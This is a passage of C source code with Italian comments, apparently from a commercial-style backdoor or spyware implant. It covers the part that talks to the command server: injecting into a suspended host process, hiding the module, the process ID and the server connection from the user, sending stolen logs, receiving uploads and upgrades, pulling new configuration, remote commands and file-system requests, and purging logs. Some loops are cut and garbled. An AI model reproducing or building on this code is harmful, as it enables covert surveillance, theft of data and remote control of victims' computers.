PROTO_NO; // Verifica se e' stata chiamata per un semplice upload o // per un upgrade if (is_upload) command = PROTO_UPLOAD; do { // Crea il comando if (!(buffer = PreapareCommand(command, NULL, 0, &buffer_len))) break; // Invia il buffer if (!HttpTransaction(buffer, buffer_len, &response, &response_len, WIRESPEED)) break; // Parsa la risposta if (!(message_body = ParseResponse(response, response_len, response_command, &response_message_len))) break; if (*response_command == PROTO_OK) { if (response_message_len < MINIMAL_UPLOAD_PACKET_LEN) break; ptr = message_body; // Legge il numero di download rimanenti memcpy(upload_left, ptr, sizeof(DWORD)); ptr += sizeof(DWORD); // Legge la lunghezza del nome file memcpy(&file_name_len, ptr, sizeof(DWORD)); ptr += sizeof(DWORD); // Legge il nome del file *file_name = _wcsdup((WCHAR *)ptr); if (!(file_name)) break; ptr += file_name_len; // Legge la lunghezza del body del file memcpy(&file_body_len, ptr, sizeof(DWORD)); ptr += sizeof(DWORD); // Scrive il file su disco if (!WriteBufferOnFile(HM_CompletePathW(*file_name, file_path), ptr, file_body_len)) { SAFE_FREE(*file_name); break; } } ret_val = TRUE; } while(0); CloseHandle(hfile); SAFE_FREE(buffer); SAFE_FREE(response); return ret_val; } // Invia un file di log al server BOOL H_ASP_SendFile(WCHAR *file_path, DWORD byte_per_second, DWORD *response_command) { DWORD response_len; DWORD buffer_len; DWORD response_message_len; BOOL ret_val = FALSE; BYTE *buffer = NULL; BYTE *response = NULL; *response_command = PROTO_NO; do { // Crea il buffer con comando e file if (!(buffer = PrepareFile(file_path, &buffer_len))) break; // Invia il buffer if (!HttpTransaction(buffer, buffer_len, &response, &response_len, byte_per_second)) break; // Parsa la risposta (non contiene messaggio) if (!ParseResponse(response, response_len, response_command, &response_message_len)) break; ret_val = TRUE; } while(0); SAFE_FREE(buffer); SAFE_FREE(response); return ret_val; } ////////////////////////////////////////////////// // Funzione esportata // // Viene caricata dal thread ASP nel processo // // ASP host. // ////////////////////////////////////////////////// #define ASP_REPORT_MESSAGE_BACK if (message) { \ if (msg_len > sizeof(ASP_IPC_command->out_param)) \ msg_len = sizeof(ASP_IPC_command->out_param); \ memcpy(ASP_IPC_command->out_param, message, msg_len); \ ASP_IPC_command->out_param_len = msg_len; \ SAFE_FREE(message); } else ASP_IPC_command->out_param_len = 0; void __stdcall ASP_MainLoop(char *asp_server) { BOOL ret_success = FALSE; char server_ip[32]; DWORD server_port; DWORD msg_len; BYTE *message = NULL; // Possibili strutture da tornare al core... asp_reply_setup *reply_setup; // Modifica il nome del modulo nella peb HidePEB(GetModuleHandle(H4DLLNAME)); // Al ritorno ASP_IPC_command e' sicuramente valorizzato. // Non fa il detach tanto alla fine il processo sara' chiuso // con ASP_Stop() if (!ASP_IPCAttach()) return; // Esegue il setup delle winhttp e risolve l'indirizzo del server (o di un eventuale proxy) if (H_ASP_WinHTTPSetup(asp_server, server_ip, sizeof(server_ip), &server_port)) { // e ritorna con successo l'ip da nascondere al processo padre reply_setup = (asp_reply_setup *)ASP_IPC_command->out_param; reply_setup->server_addr = inet_addr(server_ip); reply_setup->server_port = server_port; ASP_IPC_command->status = ASP_DONE; } else ASP_IPC_command->status = ASP_ERROR; LOOP { Sleep(ASP_SLEEP_TIME); // Se non ha comandi da eseguire if (ASP_IPC_command->status != ASP_FETCH) continue; // Esegue la spedizione/ricezione dei dati a seconda dell'action if (ASP_IPC_command->action == ASP_AUTH) { asp_request_auth *ra = (asp_request_auth *)ASP_IPC_command->in_param; ret_success = H_ASP_Auth(CLIENT_KEY, 16, ra->backdoor_id, strlen(ra->backdoor_id), (char *)ra->instance_id, 20, ra->subtype, strlen(ra->subtype), (char *)ra->conf_key, 16, &ASP_IPC_command->out_command); } else if (ASP_IPC_command->action == ASP_BYE) { ret_success = H_ASP_GenericCommand(PROTO_BYE, &ASP_IPC_command->out_command, &message, &msg_len); SAFE_FREE(message); } else if (ASP_IPC_command->action == ASP_IDBCK) { asp_request_id *ri = (asp_request_id *)ASP_IPC_command->in_param; message = H_ASP_ID(ri->username, ri->device, L"", &msg_len); ret_success = (BOOL)message; ASP_REPORT_MESSAGE_BACK; } else if (ASP_IPC_command->action == ASP_UPLO || ASP_IPC_command->action == ASP_UPGR) { asp_reply_upload *ru = (asp_reply_upload *)ASP_IPC_command->out_param; WCHAR *file_name = NULL; BOOL is_upload = FALSE; // Verifica se si tratta di un upload o di un upgrade if (ASP_IPC_command->action == ASP_UPLO) is_upload = TRUE; ret_success = H_ASP_GetUpload(is_upload, &ASP_IPC_command->out_command, &file_name, &ru->upload_left); if (file_name) _snwprintf_s(ru->file_name, sizeof(ru->file_name)/sizeof(WCHAR), _TRUNCATE, L"%s", file_name); SAFE_FREE(file_name); } else if (ASP_IPC_command->action == ASP_SLOG) { asp_request_log *rl = (asp_request_log *)ASP_IPC_command->in_param; ret_success = H_ASP_SendFile(rl->file_name, rl->byte_per_second, &ASP_IPC_command->out_command); } else if (ASP_IPC_command->action == ASP_NCONF) { asp_request_conf *rc = (asp_request_conf *)ASP_IPC_command->in_param; ret_success = H_ASP_GenericCommand(PROTO_NEW_CONF, &ASP_IPC_command->out_command, &message, &msg_len); if (ret_success && ASP_IPC_command->out_command == PROTO_OK) { DWORD proto_ok = PROTO_OK; WriteBufferOnFile(rc->conf_path, message, msg_len); SAFE_FREE(message); H_ASP_GenericCommandPL(PROTO_NEW_CONF, (BYTE *)&proto_ok, sizeof(DWORD), &ASP_IPC_command->out_command, &message, &msg_len); } SAFE_FREE(message); } else if (ASP_IPC_command->action == ASP_DOWN) { ret_success = H_ASP_GenericCommand(PROTO_DOWNLOAD, &ASP_IPC_command->out_command, &message, &msg_len); ASP_REPORT_MESSAGE_BACK; } else if (ASP_IPC_command->action == ASP_FSYS) { ret_success = H_ASP_GenericCommand(PROTO_FILESYSTEM, &ASP_IPC_command->out_command, &message, &msg_len); ASP_REPORT_MESSAGE_BACK; } else if (ASP_IPC_command->action == ASP_CMDE) { ret_success = H_ASP_GenericCommand(PROTO_COMMANDS, &ASP_IPC_command->out_command, &message, &msg_len); ASP_REPORT_MESSAGE_BACK; } else if (ASP_IPC_command->action == ASP_SSTAT) { ret_success = H_ASP_GenericCommandPL(PROTO_LOGSTATUS, ASP_IPC_command->in_param, sizeof(asp_request_stat), &ASP_IPC_command->out_command, &message, &msg_len); SAFE_FREE(message); } else if (ASP_IPC_command->action == ASP_PURGE) { ret_success = H_ASP_GenericCommand(PROTO_PURGE, &ASP_IPC_command->out_command, &message, &msg_len); ASP_REPORT_MESSAGE_BACK; } // Notifica la fine delle operazioni di lettura/scrittura if (ret_success) ASP_IPC_command->status = ASP_DONE; else ASP_IPC_command->status = ASP_ERROR; } } ///////////////////////////////////// // Funzioni Chiamate dal core // ///////////////////////////////////// DWORD ASP_Poll() { // Controlla che la shared mem dei comandi sia attiva if (!ASP_IPC_command) return ASP_POLL_ERROR; // Se sta ancora eseguendo l'operazione if (ASP_IPC_command->status == ASP_FETCH) return ASP_POLL_FETCHING; // ASP ha tornato un errore if (ASP_IPC_command->status == ASP_ERROR) { ASP_IPC_command->status = ASP_NOP; return ASP_POLL_ERROR; } // Se lo status e' ASP_NOP o ASP_DONE. // Puo' settare ASP_IPC_command->status, tanto se non e' in // ASP_FETCH l'host ASP non modifica piu' lo status ASP_IPC_command->status = ASP_NOP; return ASP_POLL_DONE; } // Aspetta che l'host ASP abbia terminato la richiesta BOOL ASP_Wait_Response() { LOOP { DWORD ret_val; Sleep(ASP_SLEEP_TIME); ret_val = ASP_Poll(); if (ret_val == ASP_POLL_FETCHING) continue; if (ret_val == ASP_POLL_ERROR) return FALSE; // Se ha tornato ASP_POLL_DONE allora esce // dal ciclo e ritorna TRUE break; } return TRUE; } void ModifyAppstart(BOOL to_disable) { HCURSOR hsc; if (to_disable) { if (!(hsc = LoadCursor(NULL, IDC_ARROW))) return; if (!(hsc = CopyCursor(hsc))) return; if (!SetSystemCursor(hsc, 32650)) DestroyCursor(hsc); return; } SystemParametersInfo(SPI_SETCURSORS, 0, 0, 0); } // Lancia process_name come host ASP verso il server asp_server // Torna TRUE se ha successo. BOOL ASP_Start(char *process_name, char *asp_server) { STARTUPINFO si; PROCESS_INFORMATION pi; DWORD init_timeout; // Inizializza le strutture per il thread iniettato if ( ASP_Setup(asp_server) != 0 ) return FALSE; // Inizializza la shared memory if (!ASP_IPCSetup()) { ASP_IPCClose(); return FALSE; } ModifyAppstart(TRUE); // L'host ASP setta il comando di inizializzazione // Deve essere sempre il primo comando dato all'host ASP // che si conclude con il ritorno dell'ip da nascondere // (necessario per poter fare ASP_Poll() in seguito ASP_IPC_command->action = ASP_SETUP; ASP_IPC_command->status = ASP_FETCH; // Lancia il process ASP host con il main thread stoppato ZeroMemory( &si, sizeof(si) ); si.cb = sizeof(si); HM_CreateProcess(process_name, CREATE_SUSPENDED, &si, &pi, 0); // Se HM_CreateProcess fallisce, pi.dwProcessId e' settato a 0 if (!pi.dwProcessId) { ASP_Stop(); return FALSE; } // HM_CreateProcess ritorna solo il PID del figlio, non apre // handle al processo o al thread (quelli vengono chiusi del thread // iniettato in explorer) ASP_HostProcess = FNC(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId); if(ASP_HostProcess == NULL) { ASP_Stop(); return FALSE; } // Se e' a 64 bit ci risparmiamo i passi successivi e chiudiamo subito... if (IsX64Process(pi.dwProcessId)){ ASP_Stop(); return FALSE; } // Aggiunge pi.dwProcessId alla lista dei PID da nascondere // (e lo memorizza in pid_hide per poi poter togliere l'hide) SET_PID_HIDE_STRUCT(pid_hide, pi.dwProcessId); AM_AddHide(HIDE_PID, &pid_hide); // XXX Sleep Aspettiamo che il thread di injection in iexplorer // abbia finito Sleep(3000); // Lancia il thread di ASP che eseguira' il main loop if (!ASP_StartASPThread(pi.dwProcessId)) { ASP_Stop(); return FALSE; } // Attende che l'host ASP abbia tornato l'indirizzo IP da nascondere for (init_timeout=0; init_timeout < ASP_START_TIMEOUT; init_timeout+=ASP_SLEEP_TIME) { DWORD ret_val; Sleep(ASP_SLEEP_TIME); ret_val = ASP_Poll(); if (ret_val == ASP_POLL_FETCHING) continue; // Se ha concluso con successo legge l'ip (da out_param), // lo memorizza nella struttura connection_hide e lo nasconde if (ret_val == ASP_POLL_DONE) { asp_reply_setup *rs = (asp_reply_setup *)ASP_IPC_command->out_param; SET_CONNETCION_HIDE_STRUCT(connection_hide, rs->server_addr, htons(rs->server_port)); AM_AddHide(HIDE_CNN, &connection_hide); return TRUE; } // Ha tornato ASP_POLL_ERROR break; } // Se e' scaduto il timeout di attesa per lo startup // o l'host ASP ha tornato un errore, allora lo termina // ed esce ASP_Stop(); return FALSE; } // Termina l'uso di ASP (e del processo relativo) void ASP_Stop() { // Termina il processo host ASP e chiude la shared // memory relativa ai comandi SAFE_TERMINATEPROCESS(ASP_HostProcess); ASP_IPCClose(); ModifyAppstart(FALSE); // Piccola attesa prima di cancellare l'hiding delle connessioni Sleep(5000); // Se sono stati memorizzati (struttura settata),e quindi aggiunti, // una connessione o un PID da nascondere, li toglie dalla lista di // hiding e azzera le struttura relative if (IS_SET_CONNETCION_HIDE_STRUCT(connection_hide)) { AM_RemoveHide(HIDE_CNN, &connection_hide); UNSET_CONNETCION_HIDE_STRUCT(connection_hide); } if (IS_SET_PID_HIDE_STRUCT(pid_hide)) { AM_RemoveHide(HIDE_PID, &pid_hide); //HideDevice dev_unhook; // Rimuoviamo l'hide dal processo che effettua la sync //dev_unhook.unhook_hidepid(pid_hide.PID, FALSE); UNSET_PID_HIDE_STRUCT(pid_hide); } } // Chiude gentilmente la connessione col server void ASP_Bye() { if (!ASP_HostProcess || !ASP_IPC_command || ASP_IPC_command->status != ASP_NOP) return; ASP_IPC_command->action = ASP_BYE; ASP_IPC_command->status = ASP_FETCH; ASP_Wait_Response(); } // Il core la chiama per eseguire il passo AUTH del protocollo // Se torna FALSE la sync dovrebbe essere interrotta // response_command deve essere allocato dal chiamante BOOL ASP_Auth(char *backdoor_id, BYTE *instance_id, char *subtype, BYTE *conf_key, DWORD *response_command) { asp_request_auth *ra; // Controlla che il processo host ASP sia ancora aperto e che non stia // gia' eseguendo delle operazioni if (!ASP_HostProcess || !ASP_IPC_command || ASP_IPC_command->status != ASP_NOP) return FALSE; // Passa i comandi all'host per eseguire l'auth ASP_IPC_command->action = ASP_AUTH; ra = (asp_request_auth *)ASP_IPC_command->in_param; _snprintf_s(ra->backdoor_id, sizeof(ra->backdoor_id), _TRUNCATE, "%s", backdoor_id); _snprintf_s(ra->subtype, sizeof(ra->subtype), _TRUNCATE, "%s", subtype); memcpy(ra->instance_id, instance_id, sizeof(ra->instance_id)); memcpy(ra->conf_key, conf_key, sizeof(ra->conf_key)); ASP_IPC_command->status = ASP_FETCH; if (!ASP_Wait_Response()) return FALSE; memcpy(response_command, &ASP_IPC_command->out_command, sizeof(DWORD)); return TRUE; } // Il core la chiama per eseguire il passo AUTH del protocollo // Se torna FALSE la sync dovrebbe essere interrotta // time_date e availables devono essere allocati dal chiamante BOOL ASP_Id(WCHAR *username, WCHAR *device, long long *time_date, DWORD *availables, DWORD size_avail) { asp_request_id *ri; // Controlla che il processo host ASP sia ancora aperto e che non stia // gia' eseguendo delle operazioni if (!ASP_HostProcess || !ASP_IPC_command || ASP_IPC_command->status != ASP_NOP) return FALSE; // Passa i comandi all'host per eseguire l'id ASP_IPC_command->action = ASP_IDBCK; ri = (asp_request_id *)ASP_IPC_command->in_param; _snwprintf_s(ri->username, sizeof(ri->username)/sizeof(WCHAR), _TRUNCATE, L"%s", username); _snwprintf_s(ri->device, sizeof(ri->device)/sizeof(WCHAR), _TRUNCATE, L"%s", device); ASP_IPC_command->status = ASP_FETCH; if (!ASP_Wait_Response()) return FALSE; // Non puo' rispondere altro che proto OK, quindi ignoro out_command memcpy(time_date, &ASP_IPC_command->out_param, sizeof(long long)); memcpy(availables, &ASP_IPC_command->out_param[sizeof(long long)], size_avail); return TRUE; } // Il core la chiama per ricevere un upload (is_upload e' TRUE) o un upgrade // Ritorna il file_name (deve essere allocato dal chiamante), e il numero di upload rimanenti // Se file_name e' tutto 0 vuol dire che c'e' stato un problema. // file_name_len e' in byte BOOL ASP_GetUpload(BOOL is_upload, WCHAR *file_name, DWORD file_name_len, DWORD *upload_left) { asp_reply_upload *ru; // Controlla che il processo host ASP sia ancora aperto e che non stia // gia' eseguendo delle operazioni if (!ASP_HostProcess || !ASP_IPC_command || ASP_IPC_command->status != ASP_NOP) return FALSE; ZeroMemory(file_name, file_name_len); *upload_left = 0; // Passa i comandi all'host per eseguire l'upload/upgrade if (is_upload) ASP_IPC_command->action = ASP_UPLO; else ASP_IPC_command->action = ASP_UPGR; ASP_IPC_command->status = ASP_FETCH; if (!ASP_Wait_Response()) return FALSE; if (ASP_IPC_command->out_command == PROTO_NO) return TRUE; ru = (asp_reply_upload *)ASP_IPC_command->out_param; *upload_left = ru->upload_left; _snwprintf_s(file_name, file_name_len/sizeof(WCHAR), _TRUNCATE, L"%s", ru->file_name); return TRUE; } // Manda un file di log // Prende in input il path del log da mandare e il bandlimit BOOL ASP_SendLog(char *file_name, DWORD byte_per_second) { asp_request_log *rl; // Controlla che il processo host ASP sia ancora aperto e che non stia // gia' eseguendo delle operazioni if (!ASP_HostProcess || !ASP_IPC_command || ASP_IPC_command->status != ASP_NOP) return FALSE; ASP_IPC_command->action = ASP_SLOG; rl = (asp_request_log *)ASP_IPC_command->in_param; _snwprintf_s(rl->file_name, sizeof(rl->file_name)/sizeof(WCHAR), _TRUNCATE, L"%S", file_name); rl->byte_per_second = byte_per_second; ASP_IPC_command->status = ASP_FETCH; if (!ASP_Wait_Response()) return FALSE; // Se un log non viene spedito correttamente non lo cancella (e interrompe la sync) if (ASP_IPC_command->out_command != PROTO_OK) return FALSE; return TRUE; } // Manda lo status dei log da spedire // Prende in input numero e size dei log (qword) BOOL ASP_SendStatus(DWORD log_count, UINT64 log_size) { asp_request_stat *rs; // Controlla che il processo host ASP sia ancora aperto e che non stia // gia' eseguendo delle operazioni if (!ASP_HostProcess || !ASP_IPC_command || ASP_IPC_command->status != ASP_NOP) return FALSE; ASP_IPC_command->action = ASP_SSTAT; rs = (asp_request_stat *)ASP_IPC_command->in_param; rs->log_count = log_count; rs->log_size = log_size; ASP_IPC_command->status = ASP_FETCH; if (!ASP_Wait_Response()) return FALSE; if (ASP_IPC_command->out_command != PROTO_OK) return FALSE; return TRUE; } // Riceve la nuova configurazione // Il file viene salvato nel path specificato (CONF_BU) BOOL ASP_ReceiveConf(char *conf_file_path) { asp_request_conf *rc; // Controlla che il processo host ASP sia ancora aperto e che non stia // gia' eseguendo delle operazioni if (!ASP_HostProcess || !ASP_IPC_command || ASP_IPC_command->status != ASP_NOP) return FALSE; ASP_IPC_command->action = ASP_NCONF; rc = (asp_request_conf *)ASP_IPC_command->in_param; _snwprintf_s(rc->conf_path, sizeof(rc->conf_path)/sizeof(WCHAR), _TRUNCATE, L"%S", conf_file_path); ASP_IPC_command->status = ASP_FETCH; if (!ASP_Wait_Response()) return FALSE; // Se un log non viene spedito correttamente non lo cancella (e interrompe la sync) if (ASP_IPC_command->out_command != PROTO_OK) return FALSE; return TRUE; } // Ottiene i dati necessari per una richiesta di purge dei log BOOL ASP_HandlePurge(long long *purge_time, DWORD *purge_size) { asp_reply_purge *arp; *purge_time = 0; *purge_size = 0; // Controlla che il processo host ASP sia ancora aperto e che non stia // gia' eseguendo delle operazioni if (!ASP_HostProcess || !ASP_IPC_command || ASP_IPC_command->status != ASP_NOP) return FALSE; ASP_IPC_command->action = ASP_PURGE; ASP_IPC_command->status = ASP_FETCH; if (!ASP_Wait_Response()) return FALSE; // Controlla il response e la lunghezza minima di una risposta if (ASP_IPC_command->out_command != PROTO_OK || ASP_IPC_command->out_param_len < sizeof(asp_reply_purge)) return FALSE; // Numero di download richiesti arp = (asp_reply_purge *)ASP_IPC_command->out_param; *purge_time = arp->purge_time; *purge_size = arp->purge_size; return TRUE; } // Prende la lista delle richieste di filesystem // Se torna TRUE ha allocato fs_array (che va liberato) di num_elem elementi BOOL ASP_GetFileSystem(DWORD *num_elem, fs_browse_elem **fs_array) { BYTE *ptr; DWORD i, ret_len, elem_count; *num_elem = 0; // Controlla che il processo host ASP sia ancora aperto e che non stia // gia' eseguendo delle operazioni if (!ASP_HostProcess || !ASP_IPC_command || ASP_IPC_command->status != ASP_NOP) return FALSE; ASP_IPC_command->action = ASP_FSYS; ASP_IPC_command->status = ASP_FETCH; if (!ASP_Wait_Response()) return FALSE; if (ASP_IPC_command->out_command != PROTO_OK || ASP_IPC_command->out_param_len == 0) return FALSE; // Numero di download richiesti ptr = ASP_IPC_command->out_param; elem_count = *((DWORD *)ptr); ptr += sizeof(DWORD); if (elem_count == 0) return FALSE; // Alloca l'array di elementi fs *fs_array = (fs_browse_elem *)calloc(elem_count, sizeof(fs_browse_elem)); if (!(*fs_array)) return FALSE; // Valorizza gli elementi dell'array // e alloca tutte le stringhe di start_dir for (i=0; istatus != ASP_NOP) return FALSE; ASP_IPC_command->action = ASP_CMDE; ASP_IPC_command->status = ASP_FETCH; if (!ASP_Wait_Response()) return FALSE; if (ASP_IPC_command->out_command != PROTO_OK || ASP_IPC_command->out_param_len == 0) return FALSE; // Numero di download richiesti ptr = ASP_IPC_command->out_param; elem_count = *((DWORD *)ptr); ptr += sizeof(DWORD); if (elem_count == 0) return FALSE; // Alloca l'array di elementi fs *cmd_array = (WCHAR **)calloc(elem_count, sizeof(WCHAR *)); if (!(*cmd_array)) return FALSE; // Valorizza gli elementi dell'array for (i=0; istatus != ASP_NOP) return FALSE; ASP_IPC_command->action = ASP_DOWN; ASP_IPC_command->status = ASP_FETCH; if (!ASP_Wait_Response()) return FALSE; // Controlla il response e la lunghezza minima di una risposta if (ASP_IPC_command->out_command != PROTO_OK || ASP_IPC_command->out_param_len < sizeof(DWORD)) return FALSE; // Numero di download richiesti ptr = ASP_IPC_command->out_param; elem_count = *((DWORD *)ptr); ptr += sizeof(DWORD); if (elem_count == 0) return FALSE; // Alloca la lista di stringhe *string_array = (WCHAR **)calloc(elem_count, sizeof(WCHAR *)); if (!(*string_array)) return FALSE; // Alloca tutte le stringhe for (i=0; i